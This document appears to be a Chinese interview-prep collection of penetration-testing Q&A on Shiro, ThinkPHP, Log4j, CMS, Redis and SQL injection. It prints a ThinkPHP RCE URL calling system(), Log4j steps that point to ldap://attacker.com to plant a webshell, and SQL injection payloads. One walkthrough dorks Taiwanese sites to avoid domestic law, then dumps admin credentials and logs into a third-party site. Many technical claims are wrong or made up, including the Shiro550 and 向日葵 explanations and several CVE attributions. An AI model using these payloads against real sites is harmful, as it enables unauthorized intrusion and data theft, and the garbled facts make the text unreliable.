Shiro550漏洞原理:Shiro是一个开源的安全框架,用于身份验证、授权、会话管理等安全功能。Shiro550漏洞是指攻击者可以通过在HTTP 请求头中添加特定参数,绕过Shiro的安全机制,从而访问未授权的资源。漏洞的原因是Shiro没有对HTTP请求头中的参数进行充分的验证和 过滤,导致攻击者可以在请求头中添加恶意参数,绕过Shiro的安全机制,执行未授权的操作。
Shiro721漏洞原理:Shiro721漏洞是指攻击者可以通过构造恶意序列化数据,绕过Shiro的安全机制,实现远程代码执行。漏洞的原因是 Shiro在进行序列化时没有对序列化对象进行充分的安全检查,导致攻击者可以通过构造恶意序列化数据来执行任意代码。攻击者可以在 HTTP请求中添加特定参数,使Shiro接收到恶意序列化数据,从而实现远程代码执行。
Shiro550和 721 攻击利用:攻击者可以通过发送恶意请求,利用Shiro550漏洞绕过Shiro的安全机制,访问未授权的资源。攻击者也可以通过 构造恶意序列化数据,利用Shiro721漏洞实现远程代码执行,从而控制服务器。为了避免被攻击,建议用户及时更新Shiro框架的版本,并 且对用户输入进行充分的过滤和验证。
十六、说一下 thinkphp5rce 的原理#
ThinkPHP5RCE是指ThinkPHP 5.x版本中存在的一种远程代码执行漏洞,攻击者可以利用该漏洞在未授权的情况下执行任意代码,从而控制 服务器。该漏洞的原因是框架中存在一个未经过滤的参数,攻击者可以通过构造恶意请求,将恶意代码作为参数传递给该参数,从而实现远 程代码执行。 具体来说,ThinkPHP 5.x版本中存在一个debug参数,该参数用于开启/关闭Debug模式。在Debug模式下,如果请求的参数 中包含类似于index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[ 1 ] []=echo%20md5(233)&_debug=1的恶意代码,就会执行call_user_func_array函数,从而执行system函数,最终执行echo md5(233)的代 码。攻击者可以将想要执行的任意代码作为参数的一部分,然后通过发送恶意请求来实现远程代码执行。 为了避免被攻击,建议用户及时更 新ThinkPHP框架的版本,并且对用户输入进行充分的过滤和验证。
十七、有哪些编辑器漏洞?怎么判断编辑器?#
常见的编辑器漏洞包括以下几种:#
1.跨站脚本漏洞:攻击者可以在编辑器中插入恶意脚本,当其他用户打开包含此脚本的文档时,恶意脚本会被执行,从而导致安全问题。#
2.代码注入漏洞:攻击者可以在编辑器中插入恶意代码,使其被执行,从而实现攻击的目的。#
3.文件包含漏洞:攻击者可以在编辑器中包含远程文件,从而实现攻击。#
4.拒绝服务漏洞:攻击者可以通过编辑器中的某些功能来导致服务器资源耗尽,从而实现拒绝服务攻击。#
判断编辑器的方法有以下几种:#
1.查看编辑器的文件名或路径:不同的编辑器有不同的文件名或路径,可以通过查看文件名或路径来判断编辑器类型。#
2.查看编辑器的图标或界面:不同的编辑器有不同的图标或界面,可以通过查看图标或界面来判断编辑器类型。#
3.查看编辑器的版本号:不同版本的编辑器可能存在不同的漏洞,可以通过查看版本号来判断是否存在已知漏洞。#
4.查看编辑器的配置文件:有些编辑器的配置文件中包含版本号等信息,可以通过查看配置文件来判断编辑器类型。#
总的来说,判断编辑器需要综合考虑多个因素,包括文件名、路径、图标、界面、版本号、配置文件等。#
十八、支付漏洞修复方案(怎样绕过第三方平台如微信支付宝)? log4j 如何利#
用?说出详细的利用过程#
如何用 log4j 获取 webshell?
对于支付漏洞,一般需要联系第三方支付平台(如微信支付、支付宝等)来修复漏洞。建议及时向第三方支付平台报告漏洞并协商解决方 案,同时加强自身的安全防护措施,例如数据加密、防火墙、安全审计等。 如果需要绕过第三方支付平台,一种可能的方式是使用区块链技 术实现点对点支付。区块链技术可以实现去中心化的支付,避免了传统支付中的中心化风险。但是,区块链技术也存在安全问题,需要注意 相关的安全风险。
关于log4j,是一种广泛使用的Java日志框架。近期曝出的log4j漏洞(CVE-2021-44228)可以通过利用log4j的JNDI功能实现远程代码执行, 攻击者可以在受害服务器上执行任意代码。 利用log4j获取webshell的过程大致如下:
1. 构造恶意的JNDI名称,例如ldap://attacker.com:1389/Exploit
2. 在恶意请求中设置JNDI属性,指向恶意JNDI名称,例如
java.naming.factory.initial=com.sun.jndi.ldap.LdapCtxFactory&java.naming.provider.url=${exploit}&java.naming.security.authe
ntication=simple&java.naming.security.principal=cn=admin,dc=example,dc=com&java.naming.security.credentials=password
3. 当受害者使用受感染的log4j库解析恶意请求时,攻击者可以通过恶意JNDI名称返回一段恶意代码,从而在受害服务器上执行任意代
码。
4. 利用执行的权限,攻击者可以上传webshell并获取服务器的控制权。 要避免log4j漏洞,建议及时更新相关的log4j库,并加强系统的安
全防护,例如限制JNDI访问、防火墙、安全审计等。十九、log4j 有什么攻击特征?#
Log4j是一个Java应用程序日志框架,但最近被发现存在一个严重的漏洞(CVE-2021-44228),该漏洞允许攻击者通过构造恶意的日志记录来执 行远程代码。攻击者可以利用此漏洞在受影响的应用程序中执行任意命令或获取系统访问权限。 该漏洞的攻击特征包括: 攻击者可以通过发送恶意的日志记录触发漏洞。 攻击者可以通过在日志记录中插入恶意的Java类路径,从而触发漏洞。 受影响的应用程序使用了Log4j 2.x版本,并且配置了允许接收来自外部网络的日志记录。 攻击者可以通过向应用程序发送特定的HTTP请求触发漏洞。 攻击者可以通过使用Java反序列化来执行任意命令。 攻击者可以利用该漏洞来在受影响的系统上执行远程代码或获取系统访问权限。
二十、怎么挖框架漏洞?java 框架漏洞了解多少,原理是什么?#
挖掘框架漏洞需要具备一定的安全知识和相关技术,通常的方法包括:#
1.了解框架的使用和原理:对于一个框架,需要了解其设计原理、运行机制、组件间的交互方式等,才能更好地发现漏洞。#
2.学习框架的文档和源码:通过阅读框架的文档和源码,可以深入了解框架的细节和实现方式,从而更容易发现漏洞。#
3.利用工具辅助挖掘:有些安全工具(如静态分析工具、漏洞扫描工具、fuzzing工具等)可以辅助挖掘框架漏洞,但需要注意工具的局限性 和误报率。
Java框架漏洞的类型很多,包括但不限于:
跨站脚本漏洞:框架没有对输入进行充分的过滤和验证,导致攻击者可以在网站中注入恶意脚本,从而攻击用户。
SQL注入漏洞:框架没有对输入进行充分的过滤和验证,导致攻击者可以构造恶意的SQL语句,从而获取或篡改敏感数据。
路径遍历漏洞:框架没有对用户输入进行充分的过滤和验证,导致攻击者可以通过构造恶意请求访问系统中的敏感文件或目录。
命令注入漏洞:框架没有对用户输入进行充分的过滤和验证,导致攻击者可以构造恶意请求执行任意系统命令。
反序列化漏洞:框架在反序列化数据时没有对输入进行充分的过滤和验证,导致攻击者可以构造恶意数据触发反序列化漏洞,从而执行恶意 代码。
文件上传漏洞:框架没有对上传的文件进行充分的过滤和验证,导致攻击者可以上传恶意文件,从而攻击系统。 需要注意的是,框架漏洞的 原因通常是因为开发者没有对用户输入进行充分的过滤和验证,或者在框架设计中存在缺陷。因此,在开发和使用框架时,需要注意安全编 码和安全配置的问题,避免出现漏洞。
二十一、eureka xstream deserialization rce 是什么漏洞可以说一下嘛?说#
一下 shiro 和 fastjson 的漏洞触发原理#
Eureka是Netflix开源的一套基于REST的服务治理框架,而XStream是其使用的一个Java XML序列化库。由于XStream默认开启了DOS防 护,而在Eureka注册服务时,如果服务的名称中包含XML元素,就会触发XStream的反序列化,从而导致远程代码执行漏洞。攻击者可以通 过构造恶意的XML数据,来执行任意代码并获取服务器控制权。
关于shiro,shiro是Apache开源的安全框架,通常用于身份认证、授权和加密等方面。shiro框架的漏洞类型比较多,其中较为严重的是 CVE-2020-13933。该漏洞的触发原理是:在shiro中,使用SimpleCookie来存储Session的ID,攻击者可以通过构造恶意的Session ID来绕 过shiro的安全防护,从而执行任意代码。 至于fastjson,它是一个开源的Java JSON解析库,由于其高效性和易用性,被广泛应用于Java Web开发中。
fastjson的漏洞也比较多,其中比较典型的是CVE-2021-21330。该漏洞的触发原理是:在fastjson中,当JSON字符串中存在特定的构造函数 调用时,fastjson会调用该构造函数来实例化对象,攻击者可以通过构造恶意的JSON字符串来执行任意代码。此外,fastjson还存在类似于 XStream的反序列化漏洞,攻击者可以通过构造恶意的JSON字符串来触发fastjson的反序列化,从而执行任意代码。 总的来说,以上三个漏 洞的触发原理都是利用了Java中的反序列化机制来执行恶意代码,因此在开发和使用Java应用程序时,需要注意对反序列化漏洞的防范和修 复。
二十二、有没有遇到 cms 的漏洞,详细讲一下#
CMS(Content Management System)是一种用于管理网站内容的软件系统,包括了文章、图片、视频等多种类型的内容。CMS常见的漏 洞类型主要有以下几种:
1. SQL注入漏洞:攻击者通过在URL的参数中注入SQL语句,从而获取或篡改敏感数据。
2. 文件包含漏洞:攻击者可以通过构造特定的请求,获取包含在某个文件中的敏感信息或代码。
3. 跨站脚本漏洞:攻击者可以在网站中注入恶意脚本,从而攻击用户,例如窃取用户的Cookie等信息。
4. 命令执行漏洞:攻击者可以通过某些漏洞,执行任意恶意命令,从而控制服务器。
5. 拒绝服务漏洞:攻击者可以通过某些漏洞,使系统崩溃或无法正常运行,从而影响系统的可用性。 其中,SQL注入漏洞和文件包含漏洞
是CMS漏洞中较为常见的类型。例如,WordPress是一款非常流行的CMS,其漏洞也比较多,其中最著名的漏洞是CVE-2018-6389,
该漏洞是WordPress的性能调优插件WP-DBManager中的一个SQL注入漏洞,攻击者可以通过该漏洞执行任意SQL语句,从而控制服务
器。 另外,Drupal是另一款流行的CMS,其漏洞也比较多。例如,CVE-2018-7600是Drupal的远程代码执行漏洞,攻击者可以通过该
漏洞执行任意代码,从而控制服务器。 为了防范CMS漏洞,需要对CMS进行及时的升级和补丁更新,避免使用过期版本的CMS软件,
以及对CMS系统进行安全加固和维护。同时,也需要对用户的输入进行充分的过滤和验证,避免出现SQL注入等漏洞。二十三、windows server 2003 有哪些系统漏洞?#
Windows Server 2003是微软推出的一款服务器操作系统,自 2003 年上市以来受到了广泛的使用。由于其年代较久远,因此存在许多安全漏 洞。以下是一些较为常见的系统漏洞:
1. MS08-067漏洞:该漏洞是 2008 年公开的,攻击者可以通过利用该漏洞执行任意代码,从而控制服务器。
2. MS17-010漏洞:该漏洞是 2017 年公开的,攻击者可以通过利用该漏洞执行任意代码,从而控制服务器。
3. IIS漏洞:Windows Server 2003自带的IIS(Internet Information Services)也存在许多漏洞,例如IIS 6.0的WebDAV漏洞,攻击者可
以通过该漏洞执行任意代码。
4. SMB漏洞:Windows Server 2003的SMB(Server Message Block)也存在漏洞,例如MS17-010漏洞就是SMB漏洞之一。
5. DNS漏洞:Windows Server 2003自带的DNS服务也存在漏洞,例如MS08-037漏洞,攻击者可以通过该漏洞执行任意代码。 总的来
说,由于Windows Server 2003存在较多的系统漏洞,因此现在已经不再被微软提供安全更新和技术支持。如果您仍在使用Windows
Server 2003,请及时升级到更高版本的操作系统或采取其他安全措施,以保障服务器的安全性。二十四、redis 的端口是多少?有没有了解 redis 漏洞?是否进行过复现?说一#
下 10 种端口对应的漏洞#
说一下 weblogic 漏洞
Redis的默认端口是 6379 。 Redis存在多个漏洞,包括认证绕过漏洞、未授权访问漏洞、远程代码执行漏洞等。其中,较为常见的漏洞包 括:
1.CVE-2019-10192: Redis 未授权访问漏洞。攻击者可以通过该漏洞未授权访问Redis,获取或篡改数据。
2.CVE-2018-1000118: Redis远程代码执行漏洞。该漏洞允许攻击者通过构造恶意请求,远程执行任意命令。
3.CVE-2021-29477: Redis RCE漏洞。该漏洞允许攻击者通过构造恶意请求,远程执行任意命令。 我没有进行过Redis漏洞的复现,建议在安 全测试环境中进行漏洞测试。
以下是 10 种端口常见的漏洞类型:
21 端口: FTP服务,主要漏洞类型为未授权访问、命令执行、文件读取等。
22 端口: SSH服务,主要漏洞类型为弱口令、暴力破解、远程命令执行、信息泄露等。
23 端口: Telnet服务,主要漏洞类型为口令泄露、远程命令执行等。
25 端口: SMTP服务,主要漏洞类型为邮件伪造、垃圾邮件、拒绝服务攻击等。
53 端口: DNS服务,主要漏洞类型为DNS劫持、DNS欺骗、DNS缓存污染等。
80 端口: HTTP服务,主要漏洞类型为SQL注入、XSS、CSRF、命令执行、文件读取等。
110 端口: POP3服务,主要漏洞类型为口令泄露、远程命令执行等。
139 端口: NetBIOS服务,主要漏洞类型为SMB漏洞、远程命令执行等。
445 端口: SMB服务,主要漏洞类型为SMB漏洞、远程命令执行等。
1433 端口: SQL Server服务,主要漏洞类型为SQL注入、口令泄露等。
Weblogic是一款Java Web应用服务器,其漏洞类型比较多。常见的漏洞包括:
1.CVE-2019-2725: Weblogic远程代码执行漏洞。攻击者可以通过该漏洞远程执行任意命令。
2.CVE-2020-14882: Weblogic远程代码执行漏洞。攻击者可以通过该漏洞远程执行任意命令。
3.CVE-2020-14883: Weblogic远程代码执行漏洞。该漏洞也允许攻击者远程执行任意命令。
4.CVE-2021-2109: Weblogic远程代码执行漏洞。该漏洞允许攻击者远程执行任意命令。 为了防范Weblogic漏洞,建议及时升级Weblogic版 本或打补丁,关闭不必要的服务和端口,限制对Weblogic的访问,以及加强口令复杂度和安全性。
二十五、哪些漏洞用到了 http 中的 put 方法?#
HTTP中的PUT方法是用于上传数据和文件的。PUT方法也被一些攻击者用于攻击Web应用程序,以下是一些利用HTTP PUT方法的常见漏 洞:
1. WebDAV漏洞:WebDAV是一种基于HTTP协议的文件管理技术,而WebDAV PUT漏洞允许攻击者通过PUT请求上传恶意文件或执行任
意代码。
2. PUT-based XSS漏洞:攻击者可以通过PUT方法发送恶意的HTML代码,从而实现XSS攻击。
3. 文件覆盖漏洞:攻击者可以通过PUT请求上传文件并覆盖已有的文件,从而破坏服务器的文件系统。
4. PUT请求方法绕过漏洞:攻击者可以通过构造PUT请求获取未授权的数据或绕过访问控制。
5. PUT请求方法DoS漏洞:攻击者可以通过发送大量的PUT请求来耗尽服务器资源,实现拒绝服务攻击。二十六、有没有做过攻击数据包分析?如果让你做攻击数据包分析,你觉得#
XSS/文件上传/目录遍历攻击各会有哪些特征?#
我有做过攻击数据包分析的经验。下面是我对XSS、文件上传和目录遍历攻击的特征分析:#
XSS攻击特征:#
参数中存在HTML标签或JavaScript脚本,如- URL中存在特殊字符,如">- Referer和User-Agent字段中存在恶意代码或特殊字符
Cookie中存在恶意代码或特殊字符
请求头中存在特殊字符或引号,如"'>
文件上传攻击特征:
请求中包含文件上传相关的参数,如Content-Type:multipart/form-data,boundary=----WebKitFormBoundary***- 请求中包含上传
的文件数据,以二进制形式出现
文件上传请求中的文件名中包含特殊字符,如../或../../等
文件上传请求中的文件类型不合法,如上传的是PHP文件而Content-Type却为image/jpeg
文件上传请求中的文件大小超出了限制目录遍历攻击特征:
URL中包含../,尝试访问上级目录
URL中包含%00,尝试绕过文件扩展名限制
URL中包含特殊字符,如%2f,尝试绕过路径限制
URL中包含路径遍历字符,如..%5c
请求头中包含特殊字符或引号,如"../ 以上特征只是一些常见的特征,攻击者可能会使用更加隐蔽的技术进行攻击,因此在分析攻击数
据包时需要全面考虑各种可能性,并结合其他日志和数据进行分析。二十七、CSRF、SSRF 和重放攻击有什么区别?#
CSRF (Cross-Site Request Forgery)、SSRF (Server-Side Request Forgery) 和重放攻击 (Replay Attack) 都是常见的网络攻击方式,它们的区 别如下:
1.CSRF攻击
CSRF攻击是指攻击者通过伪造用户请求,利用用户在某个网站中的登录状态,以达到冒充用户提交恶意请求的目的。攻击者通常会诱导用户#
点击某个链接或打开某个网页,向目标网站发送伪造的请求,利用用户在目标网站中的登录态,执行某些恶意操作,例如转账、修改密码#
等。#
2.SSRF攻击#
SSRF攻击是指攻击者通过构造特定的请求,使目标服务器发起对内网资源的访问,从而获取内网信息。攻击者通常利用目标服务器的漏洞,#
构造恶意请求,向目标服务器发起攻击。SSRF攻击可能会导致服务器内网资源的信息泄露,或者通过内网服务器进行攻击。#
3. 重放攻击#
重放攻击是指攻击者截获合法的网络请求,然后在某个时间重新发送该请求,以达到欺骗服务器的目的。攻击者通常会截获合法用户的请#
求,然后在合法请求的有效期内,重新发送这个请求,欺骗服务器执行重复的操作,例如重复转账、重复提交订单等。#
总体而言,CSRF攻击主要利用用户的登录态,欺骗用户执行恶意操作;SSRF攻击主要利用目标服务器的漏洞,获取内网信息;而重放攻击#
则是截获合法请求,重新发送已知的请求,欺骗服务器执行重复的操作。在实际防御中,需要采取不同的防御措施来防范不同的攻击方式。#
二十八、xss 和 csrf 结合,如何利用?#
XSS和CSRF是两种不同的攻击方式,但是它们可以结合使用,以达到更高的攻击效果。以下是一些利用XSS和CSRF结合攻击的方式:#
1. 欺骗用户进行CSRF攻击#
攻击者可以使用XSS攻击,将包含恶意代码的脚本注入到目标网站中,当用户访问目标网站时,恶意脚本会自动执行。攻击者可以通过恶意#
脚本,在用户的浏览器中发起CSRF攻击,从而实现欺骗用户提交恶意请求的目的。#
2. 利用XSS进行CSRF Token窃取CSRF Token是一种常见的防御CSRF攻击的方式,攻击者可以使用XSS攻击,将包含恶意代码的脚本注入到目标网站中,当用户访问目标网站 时,恶意脚本会自动执行。攻击者可以通过恶意脚本,从目标网站中窃取CSRF Token,然后利用该Token发起CSRF攻击。
3. 利用XSS进行CSRF攻击复制攻击者可以使用XSS攻击,将包含恶意代码的脚本注入到目标网站中,当用户访问目标网站时,恶意脚本会自动执行。攻击者可以通过恶意 脚本,复制目标网站中的表单数据,并在用户的浏览器中发起CSRF攻击,从而实现欺骗用户提交恶意请求的目的。 综上所述,攻击者可以 利用XSS攻击,结合CSRF攻击,以达到欺骗用户提交恶意请求的目的。在防御方面,可以采取一些措施,如使用CSRF Token、限制请求来源 等方式,以提高Web应用程序的安全性。同时,也应该加强对XSS攻击的防御,避免攻击者利用XSS漏洞实施其他攻击。
二十九、常见的漏洞的成因以及修复,如 sql 注入,xss,xxe 等等#
1. SQL注入#
成因:SQL注入是一种利用Web应用程序的代码漏洞,通过在输入数据中注入SQL语句,从而实现对数据库进行非法操作的攻击方式。攻击 者可以通过构造恶意的SQL语句,欺骗Web应用程序执行非法的数据库操作,例如删除、修改、查询等操作。 修复:防御SQL注入的方法主 要是对用户输入数据进行过滤和转义,以避免恶意SQL语句的注入。可以使用预编译语句、参数化查询等方式,避免直接将用户输入的数据 拼接到SQL语句中。
2. XSS成因:XSS漏洞是一种利用Web应用程序中的代码漏洞,攻击者通过在Web页面中注入恶意代码,从而在用户的浏览器中执行恶意操作的攻 击方式。攻击者可以通过恶意脚本,窃取用户的敏感信息,篡改网页内容,甚至盗取用户的账号。 修复:防御XSS漏洞的方法主要是对用户 输入数据进行过滤和转义,以避免恶意脚本的注入。可以使用HTML转义字符、过滤特殊字符等方式,避免直接将用户输入的数据作为HTML 标签或JavaScript代码执行。
3. XXE成因:XXE漏洞是一种利用Web应用程序中的代码漏洞,攻击者通过在XML数据中注入恶意代码,从而实现对服务器进行非法操作的攻击方 式。攻击者可以通过恶意XML数据,读取服务器上的文件,执行任意的系统命令等。 修复:防御XXE漏洞的方法主要是限制XML实体的解 析,避免恶意实体的注入。可以使用XML解析器的安全配置,禁用外部实体、限制实体的大小等方式,避免恶意实体的注入。 以上是常见的 漏洞成因以及修复方法。在实际应用中,需要综合考虑各种可能性,并采取多种安全措施,以提高Web应用程序的安全性。
三十、说一下文件上传漏洞、shiro 反序列化漏洞、漏洞原理以及加固方式常见#
web 漏洞产生的原因、危害和防御措施?#
1. 文件上传漏洞#
漏洞原理:文件上传漏洞是一种利用Web应用程序中的代码漏洞,攻击者通过上传恶意文件,从而实现对服务器进行非法操作的攻击方式。 攻击者可以通过上传恶意文件,篡改服务器上的文件、执行任意的系统命令等。危害:文件上传漏洞可能导致服务器被攻击者控制,从而造 成数据泄露、系统崩溃等严重后果。防御措施:防御文件上传漏洞的方法主要是对上传文件进行严格的过滤和限制。可以限制上传文件类 型、大小、保存路径等,同时对上传的文件进行病毒扫描和安全检测,避免上传恶意文件。
2. Shiro反序列化漏洞漏洞原理:Shiro反序列化漏洞是一种利用Shiro框架中的代码漏洞,攻击者通过构造恶意的序列化数据,从而实现执行任意的系统命令等攻 击方式。危害:Shiro反序列化漏洞可能导致服务器被攻击者控制,从而造成数据泄露、系统崩溃等严重后果。防御措施:防御Shiro反序列 化漏洞的方法主要是升级Shiro框架版本,避免使用旧版本的Shiro框架。可以使用安全的序列化方式,如JSON序列化等,避免使用Java原生 的序列化方式。
3. 常见Web漏洞产生的原因、危害和防御措施原因:Web漏洞的产生原因主要是Web应用程序中存在代码漏洞,攻击者可以利用这些漏洞,实现对服务器进行非法操作。危害:Web漏洞 可能导致服务器被攻击者控制,从而造成数据泄露、系统崩溃、业务中断等严重后果。防御措施:防御Web漏洞的方法主要是加强Web应用 程序的安全设计和开发,采用安全的编程方式,避免使用不安全的函数和类库,对用户输入数据进行严格的过滤和转义,同时定期对Web应 用程序进行安全检测和漏洞扫描,及时修复漏洞。可以使用WAF、IDS等安全设备,对Web应用程序进行实时监测和防御。
三十一、平常有挖到过那些未授权访问漏洞?常用的解析漏洞有哪些?#
常用的解析漏洞包括以下几种:#
1. 目录遍历漏洞:攻击者通过构造恶意的URL,实现访问Web服务器上的任意文件,甚至可以执行任意的系统命令。
2. 文件包含漏洞:攻击者通过构造恶意的参数,实现包含服务器上的任意文件,可能导致敏感信息泄露、系统崩溃等问题。
3. XML解析漏洞:攻击者通过构造恶意的XML数据,实现读取服务器上的任意文件、执行任意的系统命令等攻击方式。
4. PHP反序列化漏洞:攻击者通过构造恶意的序列化数据,实现执行任意的系统命令、创建恶意文件等攻击方式。
5. 文件上传漏洞:攻击者通过上传恶意文件,实现对服务器进行非法操作,可能导致数据泄露、系统崩溃等严重后果。三十二、向日葵的 rce 有了解嘛?有哪些常见的 RCE 漏洞?参数污染漏洞有哪#
些?#
向日葵(Sunburst)是一个供应链攻击事件中使用的恶意后门程序,攻击者通过此后门程序实现对受害者网络的控制和搜集敏感信息。其 中,向日葵的 RCE 漏洞是攻击者利用的一个远程代码执行漏洞,攻击者通过此漏洞实现对受害者网络的控制。 常见的 RCE 漏洞包括以下几 种:
1.Shell命令注入漏洞:攻击者通过构造恶意参数,实现执行任意的系统命令。
2.远程文件包含漏洞:攻击者通过构造恶意URL,实现包含服务器上的任意文件,可能导致敏感信息泄露、系统崩溃等问题。
3.反序列化漏洞:攻击者通过构造恶意的序列化数据,实现执行任意的系统命令、创建恶意文件等攻击方式。
4.SQL 注入漏洞:攻击者通过构造恶意参数,实现对数据库进行非法操作,可能导致数据泄露、系统崩溃等问题。
参数污染漏洞是一种常见的 Web 漏洞,攻击者通过构造恶意参数,绕过 Web 应用程序的安全机制,实现执行任意的系统命令等攻击方式。 常见的参数污染漏洞包括以下几种:
1.路径遍历漏洞:攻击者通过构造恶意的路径参数,实现访问服务器上的任意文件,可能导致敏感信息泄露、系统崩溃等问题。
2.SQL 注入漏洞:攻击者通过构造恶意的 SQL 语句,实现对数据库进行非法操作,可能导致数据泄露、系统崩溃等问题。
3.XSS(跨站脚本)漏洞:攻击者通过构造恶意的脚本参数,实现在用户浏览器中执行任意的脚本,可能导致用户数据泄露、账号被盗等问 题。
4.HTTP 动词篡改漏洞:攻击者通过构造恶意的 HTTP 动词参数,实现对服务器进行非法操作,可能导致数据泄露、系统崩溃等问题。
5.HTTP 参数污染漏洞:攻击者通过构造恶意的 HTTP 参数,绕过 Web 应用程序的安全机制,实现执行任意的系统命令等攻击方式。
三十三、为什么逻辑漏洞设备没法防护?像 SQL 注入就能防护?#
逻辑漏洞是指攻击者利用程序设计上的缺陷,通过特定的操作绕过程序的安全机制,实现非法操作的一类漏洞。与其他类型的漏洞(如 SQL#
注入、XSS 等)不同,逻辑漏洞通常不涉及到程序中的任何输入和输出,而是利用程序本身的行为逻辑进行攻击,因此比较难以被自动化工#
具检测和防护。 相比之下,SQL 注入等漏洞通常涉及到程序对用户输入数据的处理,因此可以通过对输入数据进行严格的过滤和转义来防止#
攻击。例如,可以使用参数化查询、预编译 SQL 语句等方式,确保输入数据不会被误解释为 SQL 语句中的某些关键字或语法,从而避免#
SQL 注入攻击。 但是对于逻辑漏洞而言,由于攻击者利用的是程序的行为逻辑上的缺陷,因此很难通过简单的输入过滤和转义来防止攻击。#
此外,由于逻辑漏洞往往与具体的业务逻辑相关,因此需要针对具体的业务场景进行分析和防范,而无法通过通用的安全设备(如 WAF、#
IDS 等)来自动化防护。 因此,在防范逻辑漏洞方面,需要开发者在设计和编写程序时,充分考虑各种可能的攻击场景,并采取相应的防范#
措施。同时,还需要进行安全审计和测试,以发现和修复潜在的逻辑漏洞。#
第七章 注入#
一、说一下一个注入漏洞挖掘的全流程#
1.渗透测试第一步,信息收集。#
找到你要测试的网站,这里我推荐直接用Google Hacking进行查找,效率比较高,这里我用的语法是inurl:asp?id=23 site:tw
疑问解答:#
为什么选择asp的网站:经过各种查证和试错,发现asp网站的成功率最高,当然用其他的,比如inurl:php?id=23 也是可以的。
为什么id=后面加了数字:个人喜好,加了数字可以找到一些奇奇怪怪的站,加装WAF的概率小,存在漏洞的可能性比较高,当然不加数字也 是没问题的。
为什么限定为site:tw:因为法律的相关原因,不太建议试墙内的站点,选择tw,jp,us这些站点比较好,另外tw的站点是繁体中文,容易看 懂。
这个时候,就一个一个点进去,开始测站,进去之后,可以通过域名先在whois上面进行查找,看有没有重要的信息,然后用wappalyzer看 框架,中间件和版本,万一找到通杀的漏洞,岂不美哉。
接下来,我们在url处,开始测参数。
先正常输入,更改id的值,看页面是否有变化,正常跳转产品信息,说明没问题。
inurl:asp?id=23 site:tw接下来开始使用单引号闭合法。#
好消息,可以看到有错误回显,同时提示我们数据库是Microsoft Access,但是我们可能用access比较少,使用直接使用sqlmap,开始构造 payload。
注意:如果网站安装了WAF过滤了某些参数,我们会要用到sqlmap里面tamper这个参数,对相关符号进行编码或转换,常用的有 base64encode.py,apostrophemast.py,space2puls.py,在测其他网站的时候,会经常用到tamper。
sqlmap爆出来的数据库名称为Microsoft Access,和我们之前看到的一样。
继续sqlmap,爆破表名。
好东西,看到一个admin。
爆破columns,继续爆破出所有信息。
这个时候,我们找到了的账号密码的信息,尝试使用dirb这个工具进行目录爆破,找到登录界面。
进行登录,发现获得此网站的增删改查权限,寻找文件上传漏洞未果,sql注入到此为止。
二、给你一个网站,你一般会去哪些地方寻找 sql 注入#
SQL注入漏洞原理#
注射式攻击的根源在于,程序命令和用户数据(即用户输入)之间没有做到泾渭分明。这使得攻击者有机会将程序命令当作用户输入的数据#
提交给Web程序,以发号施令,为所欲为(注:注入最终是数据库,属于服务端攻击,与脚本、平台、数据库类型无关)。
总之一句话:注入产生的原因是接受相关参数未经处理直接带入数据库查询操作
手工检测SQL注入点
只要有带参数交互的地方都有可能有* SQL注入漏洞*
登录的地方、更新的地方、注册的地方、留言板、查询、删除等
可能出现注入的地方:http头、cookices、referee、user agent,post提交数据包的地方等等
最常用的SQL注入点判断方法,是在网站中寻找如下形式的网页链接。
http://www.**.com/.asp?id=xx (ASP注入)
或者下面的链接。
http://www.**.com/.php?id=xx (php注入)
http://www.**.com/.jsp?id=xx (jsp注入)
http://www.**.com/.aspx?id=xx (aspx注入)
http://www.*****.com/index.asp?id=8&page=99 (注:注入的时候确认是id参数还是page参数,工具默认只对后面page参数注入,所以要 对工具进行配置或者手工调换)
http://www.*****.com/index/new/id/8 伪静态
http://www. *****.com/index/new/php-8.html伪静态
其中的“**”可能是数字,也有可能是字符串,分别被称为整数类型数据和字符型数据。
Http Header 注入
把http header直接代入数据库(referer/user-agent)
在数据库有记录referer/user-agent头的情况下可用
先在pikachu平台打开Http Header注入模块,点击提示查看登录帐号和密码,登陆后去BurpSuite中找到登陆地GET请求,把请求发送到 Repeater模块中,去除User-Agent:,然后输入’ 然后运行后观察MYSQL语法报错然后发现存在SQL注入漏洞。这时候可以设置payload。 在User-Agent输入payload
’ or updatexml(1,concat(0x7e,database ()),0) or '
Cookie 注入
把数据参数写入到cookie里面。
Cookie是网站为了识别用户身份来跟踪会话的,虽然Cookie是由后端生成的,但每次页面跳转,后端都回对前端的Cookie的信息进行验证, 但如果后端获取Cookie后放在数据库中进行拼接,那么这也将是一个SQL注入点。在
ant[uname]=admin后添加一个’观察反馈的MYSQL的语法报错,发现了存在SQL
注入漏洞,在设置Payload
‘andupdatexml(1,concat(0x7e,database()),0)#
观察报错和之前是否相同。#
如何判断某个网页链接是否存在SQL注入漏洞呢?通常有两种检测方法。#
1.* “单引号”法*#
第一种检测SQL注入漏洞是否存在的方法是“单引号”法。方法很简单,直接在浏览器地址栏中的网址链接后加上一个单引号,如果页面不能#
正常显示,浏览器返回一些异常信息,则说明该链接可能存在注入漏洞。#
2. 1=1* 和1=2法*#
很多时候检测提交包含引号的链接时,会提示非法字符,或者直接不返回任何信息,但这并不等于不存在SQL注入漏洞。此时可使用经典的#
“1=1和1=2”法进行检测。方法很简单,就是直接在链接地址后分别加上and 1=1和and 1=2进行提交,如果返回不同的页面,那么说明存在 SQL注入漏洞。
注入分类和注入提交方式#
数字型 (’ or 1=1#;) 数字型不需要单引号闭合字符型 (vince’ or 1=1#;) 关键是如何闭合SQL语句和注释多余代码
搜索性 (’%vince%’ or 1=1#;)
回到pikachu平台,将拼接语句写为%xxxx%‘or 1=1 #%
XX型 (username=(‘xx’) or 1=1#;)
回到pikachu平台,将拼接语句写为XX’) or 1=1#
注释符#
#
- -空格#
/**/#
注释的提交方式#
GET提交 一般直接通过浏览器提交#
POST提交 通过burp抓包、火狐浏览器插件(hackbar)
COOKIE提交 通过burp抓包
HTTP Header头提交
注入攻击支持类型#
联合查询,函数报错型,时间布尔型(盲注),堆叠注入,宽字节注入#
Union* 注入*
?id=1 order by
?id=1 order by 2 ?id=1 order by 3
?id=1 union select 1,2,3,4
?id=1 union select 1,databases(),3,4
?id=1 union select 1,databases(),user(),4
information_schema mysql5.0以上才有
以下需要BP#
基于函数报错注入#
Insert注入
Update注入
Dalete注入
前提条件:后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端。函数
cookie注入
同上httphead注入cookie注入
盲注
1.基于布尔型SQL盲注
输入语句
